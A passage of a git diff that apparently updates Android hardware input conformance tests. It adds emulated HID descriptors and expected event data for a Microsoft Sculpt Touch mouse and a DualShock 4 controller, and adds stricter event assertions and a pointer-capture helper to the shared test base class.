+    "events": [
+      {
+        "action": "MOVE",
+        "axes": {"AXIS_X": 1}
+      },
+      {
+        "action": "MOVE",
+        "axes": {"AXIS_X": 768}
+      },
+      {
+        "action": "MOVE",
+        "axes": {"AXIS_X": -768}
+      },
+      {
+        "action": "MOVE",
+        "axes": {"AXIS_Y": 768}
+      },
+      {
+        "action": "MOVE",
+        "axes": {"AXIS_Y": -768}
+      },
+      {
+        "action": "MOVE",
+        "axes": {"AXIS_X": 768, "AXIS_Y": 768}
+      },
+      {
+        "action": "MOVE",
+        "axes": {"AXIS_X": -768, "AXIS_Y": -768}
+      }
+    ]
+  }
+]
diff --git a/tests/tests/hardware/res/raw/microsoft_sculpttouch_register.json b/tests/tests/hardware/res/raw/microsoft_sculpttouch_register.json
new file mode 100644
index 0000000..a9fd5ab
--- /dev/null
+++ b/tests/tests/hardware/res/raw/microsoft_sculpttouch_register.json
@@ -0,0 +1,39 @@
+{
+  "id": 1,
+  "command": "register",
+  "name": "Microsoft Sculpt Touch Mouse (Test)",
+  "vid": 0x045e,
+  "pid": 0x077c,
+  "descriptor": [
+    0x05, 0x01, 0x09, 0x02, 0xa1, 0x01, 0x05, 0x01, 0x09, 0x02, 0xa1, 0x02,
+    0x85, 0x1a, 0x09, 0x01, 0xa1, 0x00, 0x05, 0x09, 0x19, 0x01, 0x29, 0x05,
+    0x95, 0x05, 0x75, 0x01, 0x15, 0x00, 0x25, 0x01, 0x81, 0x02, 0x75, 0x03,
+    0x95, 0x01, 0x81, 0x01, 0x05, 0x01, 0x09, 0x30, 0x09, 0x31, 0x95, 0x02,
+    0x75, 0x10, 0x16, 0x01, 0x80, 0x26, 0xff, 0x7f, 0x81, 0x06, 0xa1, 0x02,
+    0x85, 0x12, 0x09, 0x48, 0x95, 0x01, 0x75, 0x02, 0x15, 0x00, 0x25, 0x01,
+    0x35, 0x01, 0x45, 0x10, 0xb1, 0x02, 0x85, 0x1a, 0x09, 0x38, 0x35, 0x00,
+    0x45, 0x00, 0x95, 0x01, 0x75, 0x10, 0x16, 0x01, 0x80, 0x26, 0xff, 0x7f,
+    0x81, 0x06, 0xc0, 0xa1, 0x02, 0x85, 0x12, 0x09, 0x48, 0x75, 0x02, 0x15,
+    0x00, 0x25, 0x01, 0x35, 0x01, 0x45, 0x10, 0xb1, 0x02, 0x35, 0x00, 0x45,
+    0x00, 0x75, 0x04, 0xb1, 0x01, 0x85, 0x1a, 0x05, 0x0c, 0x95, 0x01, 0x75,
+    0x10, 0x16, 0x01, 0x80, 0x26, 0xff, 0x7f, 0x0a, 0x38, 0x02, 0x81, 0x06,
+    0xc0, 0xc0, 0xc0, 0xc0, 0x05, 0x0c, 0x09, 0x01, 0xa1, 0x01, 0x05, 0x01,
+    0x09, 0x02, 0xa1, 0x02, 0x85, 0x1f, 0x05, 0x0c, 0x0a, 0x38, 0x02, 0x95,
+    0x01, 0x75, 0x10, 0x16, 0x01, 0x80, 0x26, 0xff, 0x7f, 0x81, 0x06, 0x85,
+    0x17, 0x06, 0x00, 0xff, 0x0a, 0x06, 0xff, 0x0a, 0x0f, 0xff, 0x15, 0x00,
+    0x25, 0x01, 0x35, 0x01, 0x45, 0x10, 0x95, 0x02, 0x75, 0x02, 0xb1, 0x02,
+    0x0a, 0x04, 0xff, 0x35, 0x00, 0x45, 0x00, 0x95, 0x01, 0x75, 0x01, 0xb1,
+    0x02, 0x75, 0x03, 0xb1, 0x01, 0xc0, 0x85, 0x16, 0x05, 0x0c, 0x19, 0x00,
+    0x2a, 0xff, 0x03, 0x95, 0x01, 0x75, 0x10, 0x15, 0x00, 0x26, 0xff, 0x03,
+    0x81, 0x00, 0x06, 0x00, 0xff, 0x1a, 0x01, 0xfd, 0x2a, 0xff, 0xfd, 0x15,
+    0x01, 0x26, 0xff, 0x00, 0x75, 0x08, 0x81, 0x00, 0x81, 0x01, 0xc0, 0x05,
+    0x0c, 0x09, 0x01, 0xa1, 0x01, 0x85, 0x22, 0x06, 0x00, 0xff, 0x15, 0x00,
+    0x26, 0xff, 0x00, 0x75, 0x08, 0x95, 0x17, 0x0a, 0x0a, 0xfa, 0xb1, 0x02,
+    0x85, 0x24, 0x06, 0x00, 0xff, 0x95, 0x1f, 0x0a, 0x0a, 0xfa, 0xb1, 0x02,
+    0x85, 0x27, 0x06, 0x00, 0xff, 0x0a, 0x0a, 0xfa, 0x81, 0x02, 0xc0, 0x05,
+    0x01, 0x09, 0x06, 0xa1, 0x01, 0x85, 0x01, 0x05, 0x07, 0x1a, 0xe0, 0x00,
+    0x2a, 0xe7, 0x00, 0x75, 0x01, 0x95, 0x08, 0x81, 0x02, 0x75, 0x08, 0x95,
+    0x01, 0x81, 0x01, 0x19, 0x00, 0x2a, 0x91, 0x00, 0x26, 0xff, 0x00, 0x95,
+    0x06, 0x81, 0x00, 0xc0
+  ]
+}
diff --git a/tests/tests/hardware/res/raw/sony_dualshock4_keyeventtests.json b/tests/tests/hardware/res/raw/sony_dualshock4_keyeventtests.json
index 4271249..14470b1 100644
--- a/tests/tests/hardware/res/raw/sony_dualshock4_keyeventtests.json
+++ b/tests/tests/hardware/res/raw/sony_dualshock4_keyeventtests.json
@@ -15,6 +15,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
       0x23, 0xe0, 0x5d]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "DOWN", "keycode": "BUTTON_A"},
       {"action": "UP", "keycode": "BUTTON_A"}
@@ -37,6 +38,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
       0x23, 0xe0, 0x5d]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "DOWN", "keycode": "BUTTON_B"},
       {"action": "UP", "keycode": "BUTTON_B"}
@@ -59,6 +61,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
       0x23, 0xe0, 0x5d]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "DOWN", "keycode": "BUTTON_X"},
       {"action": "UP", "keycode": "BUTTON_X"}
@@ -81,6 +84,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
       0x23, 0xe0, 0x5d]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "DOWN", "keycode": "BUTTON_Y"},
       {"action": "UP", "keycode": "BUTTON_Y"}
@@ -103,6 +107,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
       0x23, 0xe0, 0x5d]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "DOWN", "keycode": "BUTTON_L1"},
       {"action": "UP", "keycode": "BUTTON_L1"}
@@ -125,6 +130,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
       0x23, 0xe0, 0x5d]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "DOWN", "keycode": "BUTTON_R1"},
       {"action": "UP", "keycode": "BUTTON_R1"}
@@ -147,6 +153,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
       0x23, 0xe0, 0x5d]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "DOWN", "keycode": "BUTTON_L2"},
       {"action": "UP", "keycode": "BUTTON_L2"}
@@ -169,6 +176,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
       0x23, 0xe0, 0x5d]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "DOWN", "keycode": "BUTTON_R2"},
       {"action": "UP", "keycode": "BUTTON_R2"}
@@ -191,6 +199,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
       0x23, 0xe0, 0x5d]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "DOWN", "keycode": "BUTTON_THUMBL"},
       {"action": "UP", "keycode": "BUTTON_THUMBL"}
@@ -213,6 +222,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
       0x23, 0xe0, 0x5d]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "DOWN", "keycode": "BUTTON_THUMBR"},
       {"action": "UP", "keycode": "BUTTON_THUMBR"}
@@ -235,6 +245,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
       0x23, 0xe0, 0x5d]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "DOWN", "keycode": "BUTTON_SELECT"},
       {"action": "UP", "keycode": "BUTTON_SELECT"}
@@ -257,6 +268,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
       0x23, 0xe0, 0x5d]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "DOWN", "keycode": "BUTTON_START"},
       {"action": "UP", "keycode": "BUTTON_START"}
@@ -279,6 +291,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
       0x23, 0xe0, 0x5d]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "DOWN", "keycode": "BUTTON_MODE"},
       {"action": "UP", "keycode": "BUTTON_MODE"}
diff --git a/tests/tests/hardware/res/raw/sony_dualshock4_motioneventtests.json b/tests/tests/hardware/res/raw/sony_dualshock4_motioneventtests.json
index dcb61ee..55e9e5b 100644
--- a/tests/tests/hardware/res/raw/sony_dualshock4_motioneventtests.json
+++ b/tests/tests/hardware/res/raw/sony_dualshock4_motioneventtests.json
@@ -9,6 +9,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
       0x2e, 0x80, 0xf2]
     ],
+    "source": "JOYSTICK",
     "events": [
     ]
   },
@@ -29,6 +30,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
       0x2e, 0x80, 0xf2]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_HAT_X": -1}},
       {"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}
@@ -51,6 +53,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
       0x2e, 0x80, 0xf2]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_HAT_X": 1}},
       {"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}
@@ -73,6 +76,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
       0x2e, 0x80, 0xf2]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_HAT_Y": -1}},
       {"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}
@@ -95,6 +99,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
       0x2e, 0x80, 0xf2]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_HAT_Y": 1}},
       {"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}
@@ -123,6 +128,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
       0x2e, 0x80, 0xf2]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_X": -0.5}},
       {"action": "MOVE", "axes": {"AXIS_X": -1}},
@@ -152,6 +158,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
       0x2e, 0x80, 0xf2]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_X": 0.51}},
       {"action": "MOVE", "axes": {"AXIS_X": 1}},
@@ -181,6 +188,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
       0x2e, 0x80, 0xf2]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_Y": -0.5}},
       {"action": "MOVE", "axes": {"AXIS_Y": -1}},
@@ -210,6 +218,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
       0x2e, 0x80, 0xf2]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_Y": 0.51}},
       {"action": "MOVE", "axes": {"AXIS_Y": 1}},
@@ -239,6 +248,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
       0x2e, 0x80, 0xf2]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_Z": -0.5}},
       {"action": "MOVE", "axes": {"AXIS_Z": -1}},
@@ -268,6 +278,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
       0x2e, 0x80, 0xf2]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_Z": 0.51}},
       {"action": "MOVE", "axes": {"AXIS_Z": 1}},
@@ -297,6 +308,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
       0x2e, 0x80, 0xf2]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_RZ": -0.5}},
       {"action": "MOVE", "axes": {"AXIS_RZ": -1}},
@@ -326,6 +338,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
       0x2e, 0x80, 0xf2]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_RZ": 0.51}},
       {"action": "MOVE", "axes": {"AXIS_RZ": 1}},
@@ -355,6 +368,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
       0x2e, 0x80, 0xf2]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_LTRIGGER": 0.5, "AXIS_BRAKE": 0.5}},
       {"action": "MOVE", "axes": {"AXIS_LTRIGGER": 1.0, "AXIS_BRAKE": 1.0}},
@@ -384,6 +398,7 @@
       0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
       0x2e, 0x80, 0xf2]
     ],
+    "source": "JOYSTICK",
     "events": [
       {"action": "MOVE", "axes": {"AXIS_RTRIGGER": 0.5, "AXIS_GAS": 0.5}},
       {"action": "MOVE", "axes": {"AXIS_RTRIGGER": 1.0, "AXIS_GAS": 1.0}},
diff --git a/tests/tests/hardware/src/android/hardware/input/OWNERS b/tests/tests/hardware/src/android/hardware/input/OWNERS
new file mode 100644
index 0000000..0313a40
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/input/OWNERS
@@ -0,0 +1,2 @@
+michaelwr@google.com
+svv@google.com
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/AsusGamepadTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/AsusGamepadTest.java
new file mode 100644
index 0000000..943a9fa
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/AsusGamepadTest.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.input.cts.tests;
+
+import android.hardware.cts.R;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.MediumTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class AsusGamepadTest extends InputTestCase {
+    public AsusGamepadTest() {
+        super(R.raw.asus_gamepad_register);
+    }
+
+    @Test
+    public void testAllKeys() {
+        testInputEvents(R.raw.asus_gamepad_keyeventtests);
+    }
+
+    @Test
+    public void testAllMotions() {
+        testInputEvents(R.raw.asus_gamepad_motioneventtests);
+    }
+}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/AsusGamepadTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/AsusGamepadTestCase.java
deleted file mode 100644
index a4b8e919..0000000
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/AsusGamepadTestCase.java
+++ /dev/null
@@ -1,43 +0,0 @@
-/*
- * Copyright 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.hardware.input.cts.tests;
-
-import android.hardware.cts.R;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-import androidx.test.filters.MediumTest;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@MediumTest
-@RunWith(AndroidJUnit4.class)
-public class AsusGamepadTestCase extends InputTestCase {
-    public AsusGamepadTestCase() {
-        super(R.raw.asus_gamepad_register);
-    }
-
-    @Test
-    public void testAllKeys() {
-        testInputEvents(R.raw.asus_gamepad_keyeventtests);
-    }
-
-    @Test
-    public void testAllMotions() {
-        testInputEvents(R.raw.asus_gamepad_motioneventtests);
-    }
-}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
index 1f4d277..22972211 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
@@ -22,9 +22,11 @@
 import android.app.Instrumentation;
 import android.hardware.input.cts.InputCallback;
 import android.hardware.input.cts.InputCtsActivity;
+import android.util.Log;
 import android.view.InputEvent;
 import android.view.KeyEvent;
 import android.view.MotionEvent;
+import android.view.View;
 
 import androidx.annotation.NonNull;
 import androidx.test.platform.app.InstrumentationRegistry;
@@ -45,18 +47,23 @@
 import java.util.concurrent.TimeUnit;
 
 public abstract class InputTestCase {
+    private static final String TAG = "InputTestCase";
     private static final float TOLERANCE = 0.005f;
 
     private final BlockingQueue<InputEvent> mEvents;
 
     private InputListener mInputListener;
     private Instrumentation mInstrumentation;
+    private View mDecorView;
     private HidDevice mHidDevice;
     private HidJsonParser mParser;
     // Stores the name of the currently running test
     private String mCurrentTestCase;
     private int mRegisterResourceId; // raw resource that contains json for registering a hid device
 
+    // State used for motion events
+    private int mLastButtonState;
+
     InputTestCase(int registerResourceId) {
         mEvents = new LinkedBlockingQueue<>();
         mInputListener = new InputListener();
@@ -71,6 +78,7 @@
     public void setUp() {
         mInstrumentation = InstrumentationRegistry.getInstrumentation();
         mActivityRule.getActivity().setInputCallback(mInputListener);
+        mDecorView = mActivityRule.getActivity().getWindow().getDecorView();
         mParser = new HidJsonParser(mInstrumentation.getTargetContext());
         int hidDeviceId = mParser.readDeviceId(mRegisterResourceId);
         String registerCommand = mParser.readRegisterCommand(mRegisterResourceId);
@@ -89,7 +97,7 @@
      *
      * If other KeyEvents are received by the application prior to the expected KeyEvent, or no
      * KeyEvents are received within a reasonable amount of time, then this will throw an
-     * AssertionFailedError.
+     * {@link AssertionError}.
      *
      * Only action and keyCode are being compared.
      */
@@ -98,8 +106,9 @@
         if (receivedKeyEvent == null) {
             failWithMessage("Did not receive " + expectedKeyEvent);
         }
-        assertEquals(mCurrentTestCase, expectedKeyEvent.getAction(), receivedKeyEvent.getAction());
-        assertEquals(mCurrentTestCase,
+        assertEquals(mCurrentTestCase + " (action)",
+                expectedKeyEvent.getAction(), receivedKeyEvent.getAction());
+        assertEquals(mCurrentTestCase + " (keycode)",
                 expectedKeyEvent.getKeyCode(), receivedKeyEvent.getKeyCode());
     }
 
@@ -120,7 +129,21 @@
         if (event.getHistorySize() > 0) {
             failWithMessage("expected each MotionEvent to only have a single entry");
         }
-        assertEquals(mCurrentTestCase, expectedEvent.getAction(), event.getAction());
+        assertEquals(mCurrentTestCase + " (action)",
+                expectedEvent.getAction(), event.getAction());
+        assertEquals(mCurrentTestCase + " (source)",
+                expectedEvent.getSource(), event.getSource());
+        assertEquals(mCurrentTestCase + " (button state)",
+                expectedEvent.getButtonState(), event.getButtonState());
+        if (event.getActionMasked() == MotionEvent.ACTION_BUTTON_PRESS
+                || event.getActionMasked() == MotionEvent.ACTION_BUTTON_RELEASE) {
+            // Only checking getActionButton() for ACTION_BUTTON_PRESS or ACTION_BUTTON_RELEASE
+            // because for actions other than ACTION_BUTTON_PRESS and ACTION_BUTTON_RELEASE the
+            // returned value of getActionButton() is undefined.
+            assertEquals(mCurrentTestCase + " (action button)",
+                    mLastButtonState ^ event.getButtonState(), event.getActionButton());
+            mLastButtonState = event.getButtonState();
+        }
         for (int axis = MotionEvent.AXIS_X; axis <= MotionEvent.AXIS_GENERIC_16; axis++) {
             assertEquals(mCurrentTestCase + " (" + MotionEvent.axisToString(axis) + ")",
                     expectedEvent.getAxisValue(axis), event.getAxisValue(axis), TOLERANCE);
@@ -156,13 +179,19 @@
             // Make sure we received the expected input events
             for (int i = 0; i < testData.events.size(); i++) {
                 final InputEvent event = testData.events.get(i);
-                if (event instanceof MotionEvent) {
-                    assertReceivedMotionEvent((MotionEvent) event);
-                } else if (event instanceof KeyEvent) {
-                    assertReceivedKeyEvent((KeyEvent) event);
-                } else {
-                    fail("Entry " + i + " is neither a KeyEvent nor a MotionEvent: " + event);
+                try {
+                    if (event instanceof MotionEvent) {
+                        assertReceivedMotionEvent((MotionEvent) event);
+                        continue;
+                    }
+                    if (event instanceof KeyEvent) {
+                        assertReceivedKeyEvent((KeyEvent) event);
+                        continue;
+                    }
+                } catch (AssertionError error) {
+                    throw new AssertionError("Assertion on entry " + i + " failed.", error);
                 }
+                fail("Entry " + i + " is neither a KeyEvent nor a MotionEvent: " + event);
             }
         }
         assertNoMoreEvents();
@@ -182,6 +211,9 @@
         if (event instanceof KeyEvent) {
             return (KeyEvent) event;
         }
+        if (event instanceof MotionEvent) {
+            failWithMessage("Instead of a key event, received " + event);
+        }
         return null;
     }
 
@@ -190,6 +222,9 @@
         if (event instanceof MotionEvent) {
             return (MotionEvent) event;
         }
+        if (event instanceof KeyEvent) {
+            failWithMessage("Instead of a motion event, received " + event);
+        }
         return null;
     }
 
@@ -235,6 +270,7 @@
                             event.getXPrecision(), event.getYPrecision(),
                             event.getDeviceId(), event.getEdgeFlags(),
                             event.getSource(), event.getFlags());
+            singleEvent.setActionButton(event.getActionButton());
             events.add(singleEvent);
         }
 
@@ -245,14 +281,24 @@
                         event.getXPrecision(), event.getYPrecision(),
                         event.getDeviceId(), event.getEdgeFlags(),
                         event.getSource(), event.getFlags());
+        singleEvent.setActionButton(event.getActionButton());
         events.add(singleEvent);
         return events;
     }
 
     /**
      * Append the name of the currently executing test case to the fail message.
+     * Dump out the events queue to help debug.
      */
     private void failWithMessage(String message) {
+        if (mEvents.isEmpty()) {
+            Log.i(TAG, "The events queue is empty");
+        } else {
+            Log.e(TAG, "There are additional events received by the test activity:");
+            for (InputEvent event : mEvents) {
+                Log.i(TAG, event.toString());
+            }
+        }
         fail(mCurrentTestCase + ": " + message);
     }
 
@@ -277,4 +323,23 @@
             }
         }
     }
+
+    protected class PointerCaptureSession implements AutoCloseable {
+        protected PointerCaptureSession() {
+            requestPointerCaptureSync();
+        }
+
+        @Override
+        public void close() {
+            releasePointerCaptureSync();
+        }
+
+        private void requestPointerCaptureSync() {
+            mInstrumentation.runOnMainSync(mDecorView::requestPointerCapture);
+        }
+
+        private void releasePointerCaptureSync() {
+            mInstrumentation.runOnMainSync(mDecorView::releasePointerCapture);
+        }
+    }
 }
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/MicrosoftSculpttouchTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/MicrosoftSculpttouchTest.java
new file mode 100644
index 0000000..50ac183
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/MicrosoftSculpttouchTest.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.input.cts.tests;
+
+import android.hardware.cts.R;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class MicrosoftSculpttouchTest extends InputTestCase {
+
+    public MicrosoftSculpttouchTest() {
+        super(R.raw.microsoft_sculpttouch_register);
+    }
+
+    /**
+     * NOTE: We added a test sample on the move behavior which assumes certain parameters passed to
+     * some components in input stack. In particular, in CursorInputMapper we use VelocityControl to
+     * accelerate mouse cursor move. VelocityControl and VelocityTracker have several parameters
+     * that can be configured via either changing code or setting default velocity estimation
+     * strategy. OEMs who changed those values may fail this test.
+     */
+    @Test
+    public void testAllMotions() {
+        try (PointerCaptureSession session = new PointerCaptureSession()) {
+            testInputEvents(R.raw.microsoft_sculpttouch_motioneventtests);
+        }
+    }
+}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4Test.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4Test.java
new file mode 100644
index 0000000..409c84f
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4Test.java
@@ -0,0 +1,44 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.input.cts.tests;
+
+import android.hardware.cts.R;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class SonyDualshock4Test extends InputTestCase {
+
+    public SonyDualshock4Test() {
+        super(R.raw.sony_dualshock4_register);
+    }
+
+    @Test
+    public void testAllKeys() {
+        testInputEvents(R.raw.sony_dualshock4_keyeventtests);
+    }
+
+    @Test
+    public void testAllMotions() {
+        testInputEvents(R.raw.sony_dualshock4_motioneventtests);
+    }
+}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4TestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4TestCase.java
deleted file mode 100644
index 909ef04..0000000
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4TestCase.java
+++ /dev/null
@@ -1,44 +0,0 @@
-/*
- * Copyright 2018 The Android Open Source Project
- *
